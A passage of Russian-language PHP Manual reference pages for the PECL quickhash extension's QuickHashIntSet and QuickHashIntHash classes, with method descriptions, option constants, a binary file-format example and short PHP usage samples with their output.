  • QuickHashIntSet::loadFromString — Фабричный метод создаёт набор из строки
  • QuickHashIntSet::saveToFile — Метод сохраняет набор в памяти на диске
  • QuickHashIntSet::saveToString — Метод возвращает сериализованную версию набора

User Contributed Notes

There are no user contributed notes for this page.


Метод добавляет новую запись в набор

  • « QuickHashIntSet
  • QuickHashIntSet::__construct »
  • PHP Manual
  • QuickHashIntSet
  • Метод добавляет новую запись в набор

QuickHashIntSet::add

(PECL quickhash >= Unknown)

QuickHashIntSet::add — Метод добавляет новую запись в набор

Описание

public QuickHashIntSet::add(int $key): bool

Метод добавляет новую запись в набор и возвращает, была ли запись добавлена. По умолчанию, добавление происходит всегда, если при создании хеша не использовался флаг QuickHashIntSet::CHECK_FOR_DUPES.

Список параметров

key

Ключ добавляемой записи.

Возвращаемые значения

Метод возвращает true, если запись была добавлена и false, если запись не была добавлена.

Примеры

Пример #1 Пример использования QuickHashIntSet::add()

<?php
echo "без проверки дубликатов\n";
$set = new QuickHashIntSet( 1024 );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );

echo "\nс проверкой дубликатов\n";
$set = new QuickHashIntSet( 1024, QuickHashIntSet::CHECK_FOR_DUPES );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );
?>

Вывод приведённого примера будет похож на:

без проверки дубликатов
bool(false)
bool(true)
bool(true)
bool(true)

с проверкой дубликатов
bool(false)
bool(true)
bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект QuickHashIntSet

  • « QuickHashIntSet::add
  • QuickHashIntSet::delete »
  • PHP Manual
  • QuickHashIntSet
  • Создаёт новый объект QuickHashIntSet

QuickHashIntSet::__construct

(PECL quickhash >= Unknown)

QuickHashIntSet::__construct — Создаёт новый объект QuickHashIntSet

Описание

public QuickHashIntSet::__construct(int $size, int $options = ?)

Конструктор создаёт новый объект QuickHashIntSet. Размер - это количество списков, которое нужно создать. Чем больше списков, тем меньше будет коллизий. Также поддерживаются опции.

Список параметров

size

Количество списков, которое необходимо настроить. Число, которое вы передадите, будет автоматически округлено до следующей степени числа 2. Оно также автоматически ограничивается от 4 до 4194304.

options

Вы можете передать следующие параметры: константу QuickHashIntSet::CHECK_FOR_DUPES, которая гарантирует, что в набор не будут добавлены дубликаты; Константу QuickHashIntSet::DO_NOT_USE_ZEND_ALLOC, чтобы не использовать внутренний менеджер памяти PHP, а также одну из констант QuickHashIntSet::HASHER_NO_HASH, QuickHashIntSet::HASHER_JENKINS1 или QuickHashIntSet::HASHER_JENKINS2. Последние три параметра определяют, какой алгоритм хеширования использовать. Все параметры можно комбинировать с помощью побитовых операторов.

Возвращаемые значения

Возвращает новый объект QuickHashIntSet.

Примеры

Пример #1 Пример использования QuickHashIntSet::__construct()

<?php
var_dump( new QuickHashIntSet( 1024 ) );
var_dump( new QuickHashIntSet( 1024, QuickHashIntSet::CHECK_FOR_DUPES ) );
var_dump(
new QuickHashIntSet(
1024,
QuickHashIntSet::DO_NOT_USE_ZEND_ALLOC | QuickHashIntSet::HASHER_JENKINS2
)
);
?>

User Contributed Notes

There are no user contributed notes for this page.


Метод удаляет запись из набора

  • « QuickHashIntSet::__construct
  • QuickHashIntSet::exists »
  • PHP Manual
  • QuickHashIntSet
  • Метод удаляет запись из набора

QuickHashIntSet::delete

(PECL quickhash >= Unknown)

QuickHashIntSet::delete — Метод удаляет запись из набора

Описание

public QuickHashIntSet::delete(int $key): bool

Метод удаляет запись из множества и возвращает, была ли запись удалена или нет. Соответствующие структуры памяти будут освобождены не сразу, а при освобождении самого набора.

Список параметров

key

Ключ записи, которую нужно удалить.

Возвращаемые значения

Метод возвращает true, если запись была удалена и false, если запись не была удалена.

Примеры

Пример #1 Пример использования QuickHashIntSet::delete()

<?php
$set = new QuickHashIntSet( 1024 );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );
var_dump( $set->delete( 4 ) );
var_dump( $set->exists( 4 ) );
var_dump( $set->delete( 4 ) );
?>

Вывод приведённого примера будет похож на:

bool(false)
bool(true)
bool(true)
bool(false)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Метод проверяет, является ли ключ частью набора

  • « QuickHashIntSet::delete
  • QuickHashIntSet::getSize »
  • PHP Manual
  • QuickHashIntSet
  • Метод проверяет, является ли ключ частью набора

QuickHashIntSet::exists

(PECL quickhash >= Unknown)

QuickHashIntSet::exists — Метод проверяет, является ли ключ частью набора

Описание

public QuickHashIntSet::exists(int $key): bool

Метод проверяет, существует ли в наборе запись с указанным ключом.

Список параметров

key

Ключ записи для проверки её существования в наборе.

Возвращаемые значения

Метод возвращает true, если запись была найдена или false, если запись не найдена.

Примеры

Пример #1 Пример использования QuickHashIntSet::exists()

<?php
// создание 200000 элементов
$array = range( 0, 199999 );
$existingEntries = array_rand( array_flip( $array ), 180000 );
$testForEntries = array_rand( array_flip( $array ), 1000 );
$foundCount = 0;

echo "Создание набора: ", microtime( true ), "\n";
$set = new QuickHashIntSet( 100000 );
echo "Добавление элементов: ", microtime( true ), "\n";
foreach( $existingEntries as $key )
{
$set->add( $key );
}

echo "Выполнение 1000 тестов: ", microtime( true ), "\n";
foreach( $testForEntries as $key )
{
$foundCount += $set->exists( $key );
}
echo "Готово, $foundCount найдено: ", microtime( true ), "\n";
?>

Вывод приведённого примера будет похож на:

Создание набора: 1263588703.0748
Добавление элементов: 1263588703.0757
Выполнение 1000 тестов: 1263588703.7851
Готово, $foundCount найдено: 1263588703.7897

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество элементов в наборе

  • « QuickHashIntSet::exists
  • QuickHashIntSet::loadFromFile »
  • PHP Manual
  • QuickHashIntSet
  • Возвращает количество элементов в наборе

QuickHashIntSet::getSize

(PECL quickhash >= Unknown)

QuickHashIntSet::getSize — Возвращает количество элементов в наборе

Описание

publicQuickHashIntSet::getSize(): int

Возвращает количество элементов в наборе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество элементов в наборе.

Примеры

Пример #1 Пример использования QuickHashIntSet::getSize()

<?php
$set = new QuickHashIntSet( 8 );
var_dump( $set->add( 2 ) );
var_dump( $set->add( 3 ) );
var_dump( $set->getSize() );
?>

Вывод приведённого примера будет похож на:

bool(true)
bool(true)
int(2)

User Contributed Notes

There are no user contributed notes for this page.


Фабричный метод создаёт набор из файла

  • « QuickHashIntSet::getSize
  • QuickHashIntSet::loadFromString »
  • PHP Manual
  • QuickHashIntSet
  • Фабричный метод создаёт набор из файла

QuickHashIntSet::loadFromFile

(PECL quickhash >= Unknown)

QuickHashIntSet::loadFromFile — Фабричный метод создаёт набор из файла

Описание

public static QuickHashIntSet::loadFromFile(string $filename, int $size = ?, int $options = ?): QuickHashIntSet

Этот фабричный метод создаёт новый набор из файла определения на диске. Формат файла состоит из 32-битных целых чисел со знаком, упакованных вместе в системный порядок байтов.

Список параметров

filename

Имя файла, из которого будет считываться набор.

size

Количество списков, которое необходимо настроить. Указанное число будет автоматически округлено до следующей степени числа 2. Оно также автоматически ограничивается от 4 до 4194304.

options

Те же параметры, которые принимает конструктор класса; за исключением того, что игнорируется параметр size. Он автоматически вычисляется как количество записей в хеше, округляется до ближайшей степени числа 2 с максимальным ограничением 4194304.

Возвращаемые значения

Возвращает новый объект QuickHashIntSet.

Примеры

Пример #1 Пример использования QuickHashIntSet::loadFromFile()

<?php
$file = dirname( __FILE__ ) . "/simple.set";
$set = QuickHashIntSet::loadFromFile(
$file,
QuickHashIntSet::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
printf( "Ключ %3d (%2x) %s\n",
$key, $key,
$set->exists( $key ) ? 'установлен' : 'не установлен'
);
}
?>

Вывод приведённого примера будет похож на:

Ключ   0 ( 0) не установлен
Ключ   1 ( 1) установлен
Ключ   2 ( 2) установлен
Ключ   3 ( 3) установлен
Ключ   4 ( 4) не установлен
Ключ   5 ( 5) установлен
Ключ   6 ( 6) не установлен
Ключ   7 ( 7) установлен
Ключ   8 ( 8) не установлен
Ключ   9 ( 9) не установлен
Ключ  10 ( a) не установлен
Ключ  11 ( b) установлен
Ключ  12 ( c) не установлен
Ключ  13 ( d) установлен
Ключ  14 ( e) не установлен
Ключ  15 ( f) не установлен

User Contributed Notes

There are no user contributed notes for this page.


Фабричный метод создаёт набор из строки

  • « QuickHashIntSet::loadFromFile
  • QuickHashIntSet::saveToFile »
  • PHP Manual
  • QuickHashIntSet
  • Фабричный метод создаёт набор из строки

QuickHashIntSet::loadFromString

(PECL quickhash >= Unknown)

QuickHashIntSet::loadFromString — Фабричный метод создаёт набор из строки

Описание

public static QuickHashIntSet::loadFromString(string $contents, int $size = ?, int $options = ?): QuickHashIntSet

Этот фабричный метод создаёт новый набор из определения в строке. Формат файла состоит из 32-битных целых чисел со знаком, упакованных вместе в системный порядок байтов.

Список параметров

contents

Строка, содержащая сериализованный формат набора.

size

Количество списков, которое необходимо настроить. Передаваемое число будет автоматически округлено до следующей степени числа два. Оно также автоматически ограничивается от 4 до 4194304.

options

Те же параметры, которые принимает конструктор класса; за исключением того, что игнорируется параметр size. Он автоматически вычисляется как количество записей в хеше, округляется до ближайшей степени числа 2 с максимальным ограничением 4194304.

Возвращаемые значения

Возвращает новый объект QuickHashIntSet.

Примеры

Пример #1 Пример использования QuickHashIntSet::loadFromString()

<?php
$contents = file_get_contents( dirname( __FILE__ ) . "/simple.set" );
$set = QuickHashIntSet::loadFromString(
$contents,
QuickHashIntSet::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
printf( "Ключ %3d (%2x) %s\n",
$key, $key,
$set->exists( $key ) ? 'установлен' : 'не установлен'
);
}
?>

Вывод приведённого примера будет похож на:

Ключ   0 ( 0) не установлен
Ключ   1 ( 1) установлен
Ключ   2 ( 2) установлен
Ключ   3 ( 3) установлен
Ключ   4 ( 4) не установлен
Ключ   5 ( 5) установлен
Ключ   6 ( 6) не установлен
Ключ   7 ( 7) установлен
Ключ   8 ( 8) не установлен
Ключ   9 ( 9) не установлен
Ключ  10 ( a) не установлен
Ключ  11 ( b) установлен
Ключ  12 ( c) не установлен
Ключ  13 ( d) установлен
Ключ  14 ( e) не установлен
Ключ  15 ( f) не установлен

User Contributed Notes

There are no user contributed notes for this page.


Метод сохраняет набор в памяти на диске

  • « QuickHashIntSet::loadFromString
  • QuickHashIntSet::saveToString »
  • PHP Manual
  • QuickHashIntSet
  • Метод сохраняет набор в памяти на диске

QuickHashIntSet::saveToFile

(PECL quickhash >= Unknown)

QuickHashIntSet::saveToFile — Метод сохраняет набор в памяти на диске

Описание

public QuickHashIntSet::saveToFile(string $filename): void

Этот метод сохраняет существующий набор в файл на диске в таком же формате, который может быть прочитан методом QuickHashIntSet::loadFromFile().

Список параметров

filename

Имя файла, в котором будет храниться хеш.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования QuickHashIntSet::saveToFile()

<?php
$set = new QuickHashIntSet( 1024 );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );

$set->saveToFile( '/tmp/test.set' );
?>

User Contributed Notes

There are no user contributed notes for this page.


Метод возвращает сериализованную версию набора

  • « QuickHashIntSet::saveToFile
  • QuickHashIntHash »
  • PHP Manual
  • QuickHashIntSet
  • Метод возвращает сериализованную версию набора

QuickHashIntSet::saveToString

(PECL quickhash >= Unknown)

QuickHashIntSet::saveToString — Метод возвращает сериализованную версию набора

Описание

public QuickHashIntSet::saveToString(): string

Метод возвращает сериализованную версию набора в том же формате, который может быть прочитан методом QuickHashIntSet::loadFromString().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает строку, содержащую сериализованную версию набора. Каждый элемент хранится как четырёх байтовое значение в системном порядке байтов.

Примеры

Пример #1 Пример использования QuickHashIntSet::saveToString()

<?php
$set = new QuickHashIntSet( 1024 );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );

var_dump( $set->saveToString() );
?>

User Contributed Notes

There are no user contributed notes for this page.


Класс QuickHashIntHash

(PECL quickhash >= Unknown)

Введение

Класс-обёртка для хеш-таблицы с ключами и значениями, являющимися целыми числами. Также реализует интерфейс ArrayAccess.

Класс реализует интерфейс Iterator, что даёт возможность перебора с помощью конструкции foreach. Порядок следования элементов не гарантируется.

Обзор классов

class QuickHashIntHash {
/* Константы */
const int CHECK_FOR_DUPES = 1;
const int DO_NOT_USE_ZEND_ALLOC = 2;
const int HASHER_NO_HASH = 256;
const int HASHER_JENKINS1 = 512;
const int HASHER_JENKINS2 = 1024;
/* Методы */
public add(int $key, int $value = ?): bool
public __construct(int $size, int $options = ?)
public delete(int $key): bool
public exists(int $key): bool
public get(int $key): int
public getSize(): int
public static loadFromFile(string $filename, int $options = ?): QuickHashIntHash
public static loadFromString(string $contents, int $options = ?): QuickHashIntHash
public saveToFile(string $filename): void
public saveToString(): string
public set(int $key, int $value): bool
public update(int $key, int $value): bool
}

Предопределённые константы

QuickHashIntHash::CHECK_FOR_DUPES

Если включено, то добавление повторяющихся элементов в набор (с помощью методов QuickHashIntHash::add() или QuickHashIntHash::loadFromFile()) приведёт к отбрасыванию этих элементов. Эта функциональность несколько замедляет работу, так что должен использоваться только если действительно необходим.

QuickHashIntHash::DO_NOT_USE_ZEND_ALLOC

Запрещает использование встроенного в PHP менеджера памяти для внутренних структур. Если включена эта опция, то используемая память не будет учитываться настройкой memory_limit.

QuickHashIntHash::HASHER_NO_HASH

Указывает, что не нужно использовать функцию хеширования, а вместо неё, для поиска индекса в цепочке, использовать модуль. Это не быстрее обычного хеширования и порождает больше коллизий.

QuickHashIntHash::HASHER_JENKINS1

Хеширующая функция по умолчанию.

QuickHashIntHash::HASHER_JENKINS2

Другой хеширующий алгоритм.

Содержание

  • QuickHashIntHash::add — Добавить элемент в хеш
  • QuickHashIntHash::__construct — Создаёт объект QuickHashIntHash
  • QuickHashIntHash::delete — Метод удаляет запись из хеша
  • QuickHashIntHash::exists — Метод проверяет, является ли ключ частью хеша
  • QuickHashIntHash::get — Метод извлекает значение из хеша по его ключу
  • QuickHashIntHash::getSize — Возвращает количество элементов в хеше
  • QuickHashIntHash::loadFromFile — Фабричный метод создаёт хеш из файла
  • QuickHashIntHash::loadFromString — Фабричный метод создаёт хеш из строки
  • QuickHashIntHash::saveToFile — Метод сохраняет хеш в памяти на диск
  • QuickHashIntHash::saveToString — Метод возвращает сериализованную версию хеша
  • QuickHashIntHash::set — Метод обновляет запись в хеше новым значением или добавляет новую, если запись не существует
  • QuickHashIntHash::update — Метод обновляет запись в хеше новым значением

User Contributed Notes

There are no user contributed notes for this page.


Добавить элемент в хеш

  • « QuickHashIntHash
  • QuickHashIntHash::__construct »
  • PHP Manual
  • QuickHashIntHash
  • Добавить элемент в хеш

QuickHashIntHash::add

(PECL quickhash >= Unknown)

QuickHashIntHash::add — Добавить элемент в хеш

Описание

public QuickHashIntHash::add(int $key, int $value = ?): bool

Добавляет элемент в хеш и возвращает true или false в зависимости от успешности операции. По умолчанию, добавление происходит всегда, если при создании хеша не использовался флаг QuickHashIntHash::CHECK_FOR_DUPES.

Список параметров

key

Ключ добавляемой записи.

value

Опциональное значение. Если не задано, то будет использоваться 1.

Возвращаемые значения

В случае удачного добавления возвращает true. В случае неудачного - false.

Примеры

Пример #1 Пример использования QuickHashIntHash::add()

<?php
echo "without dupe checking\n";
$hash = new QuickHashIntHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, 22 ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, 12 ) );

echo "\nwith dupe checking\n";
$hash = new QuickHashIntHash( 1024, QuickHashIntHash::CHECK_FOR_DUPES );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, 78 ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, 9 ) );

echo "\ndefault value\n";
var_dump( $hash->add( 5 ) );
var_dump( $hash->get( 5 ) );
?>

Вывод приведённого примера будет похож на:

without dupe checking
bool(false)
bool(false)
bool(true)
bool(true)
int(22)
bool(true)

with dupe checking
bool(false)
bool(false)
bool(true)
bool(true)
int(78)
bool(false)

default value
bool(true)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект QuickHashIntHash

  • « QuickHashIntHash::add
  • QuickHashIntHash::delete »
  • PHP Manual
  • QuickHashIntHash
  • Создаёт объект QuickHashIntHash

QuickHashIntHash::__construct

(PECL quickhash >= Unknown)

QuickHashIntHash::__construct — Создаёт объект QuickHashIntHash

Описание

public QuickHashIntHash::__construct(int $size, int $options = ?)

Конструктор создаёт объект QuickHashIntHash. Размер - это количество списков, которые нужно создать. Чем больше списков, тем меньше будет коллизий. Также поддерживаются опции.

Список параметров

size

Количество списков, которое необходимо настроить. Число, которое вы передадите, будет автоматически округлено до следующей степени числа 2. Оно также автоматически ограничивается от 64 до 4194304.

options

Вы можете использовать следующие варианты: QuickHashIntHash::CHECK_FOR_DUPES, что гарантирует, что в хеш не будут добавлены дублирующие записи; QuickHashIntHash::DO_NOT_USE_ZEND_ALLOC чтобы не использовать внутренний менеджер памяти PHP, а также одну из констант: QuickHashIntHash::HASHER_NO_HASH, QuickHashIntHash::HASHER_JENKINS1 или QuickHashIntHash::HASHER_JENKINS2. Последние три параметра определяют, какой алгоритм хеширования использовать. Все параметры можно комбинировать с помощью побитовых операторов.

Возвращаемые значения

Возвращает новый объект QuickHashIntHash.

Примеры

Пример #1 Пример использования QuickHashIntHash::__construct()

<?php
var_dump( new QuickHashIntHash( 1024 ) );
var_dump( new QuickHashIntHash( 1024, QuickHashIntHash::CHECK_FOR_DUPES ) );
var_dump(
new QuickHashIntHash(
1024,
QuickHashIntHash::DO_NOT_USE_ZEND_ALLOC | QuickHashIntHash::HASHER_JENKINS2
)
);
?>

User Contributed Notes

There are no user contributed notes for this page.


Метод удаляет запись из хеша

  • « QuickHashIntHash::__construct
  • QuickHashIntHash::exists »
  • PHP Manual
  • QuickHashIntHash
  • Метод удаляет запись из хеша

QuickHashIntHash::delete

(PECL quickhash >= Unknown)

QuickHashIntHash::delete — Метод удаляет запись из хеша

Описание

public QuickHashIntHash::delete(int $key): bool

Метод удаляет запись из хеша и возвращает, была ли эта запись удалена или нет. Соответствующие структуры памяти будут освобождены не сразу, а при освобождении самого хеша.

Элементы не могут быть удалены, если хеш используется в итераторе. Метод не выбросит исключение, а просто вернёт false как это произошло бы при любой другой ошибке удаления.

Список параметров

key

Ключ записи, которую нужно удалить.

Возвращаемые значения

Метод возвращает true, если запись была удалена и false, если запись не была удалена.

Примеры

Пример #1 Пример использования QuickHashIntHash::delete()

<?php

$hash = new QuickHashIntHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, 5 ) );
var_dump( $hash->delete( 4 ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->delete( 4 ) );
?>

Вывод приведённого примера будет похож на:

bool(false)
bool(true)
bool(true)
bool(false)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Метод проверяет, является ли ключ частью хеша

  • « QuickHashIntHash::delete
  • QuickHashIntHash::get »
  • PHP Manual
  • QuickHashIntHash
  • Метод проверяет, является ли ключ частью хеша

QuickHashIntHash::exists

(PECL quickhash >= Unknown)

QuickHashIntHash::exists — Метод проверяет, является ли ключ частью хеша

Описание

public QuickHashIntHash::exists(int $key): bool

Метод проверяет, существует ли в хеше запись с указанным ключом.

Список параметров

key

Ключ записи для проверки её существования в хеше.

Возвращаемые значения

Метод возвращает true, если запись была найдена или false, если запись не была найдена.

Примеры

Пример #1 Пример использования QuickHashIntHash::exists()

<?php
// Генерация 200000 элементов
$array = range( 0, 199999 );
$existingEntries = array_rand( array_flip( $array ), 180000 );
$testForEntries = array_rand( array_flip( $array ), 1000 );
$foundCount = 0;

echo "Создание хеша: ", microtime( true ), "\n";
$hash = new QuickHashIntHash( 100000 );
echo "Добавление элементов: ", microtime( true ), "\n";
foreach( $existingEntries as $key )
{
$hash->add( $key, 56 );
}

echo "Запуск 1000 тестов: ", microtime( true ), "\n";
foreach( $testForEntries as $key )
{
$foundCount += $hash->exists( $key );
}
echo "Готово, $foundCount найдено: ", microtime( true ), "\n";
?>

Вывод приведённого примера будет похож на:

Создание хеша: 1263588703.0748
Добавление элементов: 1263588703.0757
Запуск 1000 тестов: 1263588703.7851
Готово, 898 найдено: 1263588703.7897

User Contributed Notes

There are no user contributed notes for this page.


Метод извлекает значение из хеша по его ключу

  • « QuickHashIntHash::exists
  • QuickHashIntHash::getSize »
  • PHP Manual
  • QuickHashIntHash
  • Метод извлекает значение из хеша по его ключу

QuickHashIntHash::get

(PECL quickhash >= Unknown)

QuickHashIntHash::get — Метод извлекает значение из хеша по его ключу

Описание

public QuickHashIntHash::get(int $key): int

Метод извлекает значение из хеша по его ключу.

Список параметров

key

Ключ получаемой записи.

Возвращаемые значения

Метод возвращает значение, если ключ существует или null, если ключ не был частью хеша.

Примеры

Пример #1 Пример использования QuickHashIntHash::get()

<?php
$hash = new QuickHashIntHash( 8 );
var_dump( $hash->get( 1 ) );

var_dump( $hash->add( 2 ) );
var_dump( $hash->get( 2 ) );

var_dump( $hash->add( 3, 5 ) );
var_dump( $hash->get( 3 ) );
?>

Вывод приведённого примера будет похож на:

bool(false)
bool(true)
int(1)
bool(true)
int(5)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество элементов в хеше

  • « QuickHashIntHash::get
  • QuickHashIntHash::loadFromFile »
  • PHP Manual
  • QuickHashIntHash
  • Возвращает количество элементов в хеше

QuickHashIntHash::getSize

(PECL quickhash >= Unknown)

QuickHashIntHash::getSize — Возвращает количество элементов в хеше

Описание

public QuickHashIntHash::getSize(): int

Возвращает количество элементов в хеше.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает количество элементов в хеше.

Примеры

Пример #1 Пример использования QuickHashIntHash::getSize()

<?php
$hash = new QuickHashIntHash( 8 );
var_dump( $hash->add( 2 ) );
var_dump( $hash->add( 3, 5 ) );
var_dump( $hash->getSize() );
?>

Вывод приведённого примера будет похож на:

bool(true)
bool(true)
int(2)

User Contributed Notes

There are no user contributed notes for this page.


Фабричный метод создаёт хеш из файла

  • « QuickHashIntHash::getSize
  • QuickHashIntHash::loadFromString »
  • PHP Manual
  • QuickHashIntHash
  • Фабричный метод создаёт хеш из файла

QuickHashIntHash::loadFromFile

(PECL quickhash >= Unknown)

QuickHashIntHash::loadFromFile — Фабричный метод создаёт хеш из файла

Описание

public static QuickHashIntHash::loadFromFile(string $filename, int $options = ?): QuickHashIntHash

Этот фабричный метод создаёт новый хеш из файла определения на диске. Формат файла состоит из сигнатуры 'QH\0x11\0', количества элементов в виде 32-битного целого числа со знаком в системном порядке байтов, затем 32-битных целых чисел со знаком, упакованных вместе в системный порядок байтов. Для каждого элемента хеша хранятся два 32-битных целых числа со знаком. Первое из них - ключ, а второе - значение, принадлежащее ключу. Примером может быть:

Пример #1 Формат файла QuickHash IntHash

00000000  51 48 11 00 02 00 00 00  01 00 00 00 01 00 00 00  |QH..............|
00000010  03 00 00 00 09 00 00 00                           |........|
00000018

Пример #2 Формат файла QuickHash IntHash

header signature ('QH'; key type: 1; value type: 1; filler: \0x00)
00000000  51 48 11 00

number of elements:
00000004  02 00 00 00

data string:
00000000  01 00 00 00 01 00 00 00  03 00 00 00 09 00 00 00

key/value 1 (key = 1, value = 1)
01 00 00 00  01 00 00 00

key/value 2 (key = 3, value = 9)
03 00 00 00  09 00 00 00

Список параметров

filename

Имя файла, из которого нужно считать хеш.

options

Те же параметры, которые принимает конструктор класса; за исключением того, что игнорируется параметр size. Он автоматически вычисляется как количество записей в хеше, округляется до ближайшей степени числа 2 с максимальным ограничением 4194304.

Возвращаемые значения

Возвращает новый объект QuickHashIntHash.

Примеры

Пример #3 Пример использования QuickHashIntHash::loadFromFile()

<?php
$file = dirname( __FILE__ ) . "/simple.hash";
$hash = QuickHashIntHash::loadFromFile(
$file,
QuickHashIntHash::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
printf( "Ключ %3d (%2x) %s\n",
$key, $key,
$hash->exists( $key ) ? 'установлен' : 'не установлен'
);
}
?>

Вывод приведённого примера будет похож на:

Ключ   0 ( 0) не установлен
Ключ   1 ( 1) установлен
Ключ   2 ( 2) установлен
Ключ   3 ( 3) установлен
Ключ   4 ( 4) не установлен
Ключ   5 ( 5) установлен
Ключ   6 ( 6) не установлен
Ключ   7 ( 7) установлен
Ключ   8 ( 8) не установлен
Ключ   9 ( 9) не установлен
Ключ  10 ( a) не установлен
Ключ  11 ( b) установлен
Ключ  12 ( c) не установлен
Ключ  13 ( d) установлен
Ключ  14 ( e) не установлен
Ключ  15 ( f) не установлен

User Contributed Notes

There are no user contributed notes for this page.


Фабричный метод создаёт хеш из строки

  • « QuickHashIntHash::loadFromFile
  • QuickHashIntHash::saveToFile »
  • PHP Manual
  • QuickHashIntHash
  • Фабричный метод создаёт хеш из строки

QuickHashIntHash::loadFromString

(PECL quickhash >= Unknown)

QuickHashIntHash::loadFromString — Фабричный метод создаёт хеш из строки

Описание

public static QuickHashIntHash::loadFromString(string $contents, int $options = ?): QuickHashIntHash

Этот фабричный метод создаёт новый хеш из определения в строке. Формат файла состоит из 32-битных целых чисел со знаком, упакованных вместе в системный порядок байтов. Для каждого элемента хранятся два 32-битных целых числа со знаком. Первое из них - ключ, а второе - значение, принадлежащее ключу.

Список параметров

contents

Строка, содержащая сериализованный формат хеша.

options

Те же параметры, которые принимает конструктор класса; за исключением того, что игнорируется параметр size. Он автоматически вычисляется как количество записей в хеше, округляется до ближайшей степени числа 2 с максимальным ограничением 4194304.

Возвращаемые значения

Возвращает новый объект QuickHashIntHash.

Примеры

Пример #1 Пример использования QuickHashIntHash::loadFromString()

<?php
$contents = file_get_contents( dirname( __FILE__ ) . "/simple.hash" );
$hash = QuickHashIntHash::loadFromString(
$contents,
QuickHashIntHash::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
printf( "Ключ %3d (%2x) %s\n",
$key, $key,
$hash->exists( $key ) ? 'установлен' : 'не установлен'
);
}
?>

Вывод приведённого примера будет похож на:

Ключ   0 ( 0) не установлен
Ключ   1 ( 1) установлен
Ключ   2 ( 2) установлен
Ключ   3 ( 3) установлен
Ключ   4 ( 4) не установлен
Ключ   5 ( 5) установлен
Ключ   6 ( 6) не установлен
Ключ   7 ( 7) установлен
Ключ   8 ( 8) не установлен
Ключ   9 ( 9) не установлен
Ключ  10 ( a) не установлен
Ключ  11 ( b) установлен
Ключ  12 ( c) не установлен
Ключ  13 ( d) установлен
Ключ  14 ( e) не установлен
Ключ  15 ( f) не установлен

User Contributed Notes

There are no user contributed notes for this page.


Метод сохраняет хеш в памяти на диск

  • « QuickHashIntHash::loadFromString
  • QuickHashIntHash::saveToString »
  • PHP Manual
  • QuickHashIntHash
  • Метод сохраняет хеш в памяти на диск

QuickHashIntHash::saveToFile

(PECL quickhash >= Unknown)

QuickHashIntHash::saveToFile — Метод сохраняет хеш в памяти на диск

Описание

public QuickHashIntHash::saveToFile(string $filename): void

Метод сохраняет существующий хеш в памяти на диск, в том же формате, который можно прочитать методом QuickHashIntHash::loadFromFile().

Список параметров

filename

Имя файла, в котором будет храниться хеш.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования QuickHashIntHash::saveToFile()

<?php
$hash = new QuickHashIntHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, 43 ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, 52 ) );

$hash->saveToFile( '/tmp/test.hash' );
?>

User Contributed Notes

There are no user contributed notes for this page.


Метод возвращает сериализованную версию хеша

  • « QuickHashIntHash::saveToFile
  • QuickHashIntHash::set »
  • PHP Manual
  • QuickHashIntHash
  • Метод возвращает сериализованную версию хеша

QuickHashIntHash::saveToString

(PECL quickhash >= Unknown)

QuickHashIntHash::saveToString — Метод возвращает сериализованную версию хеша

Описание

public QuickHashIntHash::saveToString(): string

Метод возвращает сериализованную версию хеша, в том же формате, который можно прочитать методом QuickHashIntHash::loadFromString().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает строку, содержащую сериализованный формат хеша. Каждый элемент хранится как 4-байтовое значение с порядком байтов, который использует текущая система.

Примеры

Пример #1 Пример использования QuickHashIntHash::saveToString()

<?php
$hash = new QuickHashIntHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, 34 ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, 55 ) );

var_dump( $hash->saveToString() );
?>

User Contributed Notes

There are no user contributed notes for this page.


Метод обновляет запись в хеше новым значением или добавляет новую, если запись не существует

  • « QuickHashIntHash::saveToString
  • QuickHashIntHash::update »
  • PHP Manual
  • QuickHashIntHash
  • Метод обновляет запись в хеше новым значением или добавляет новую, если запись не существует

QuickHashIntHash::set

(PECL quickhash >= Unknown)

QuickHashIntHash::set — Метод обновляет запись в хеше новым значением или добавляет новую, если запись не существует

Описание

public QuickHashIntHash::set(int $key, int $value): bool

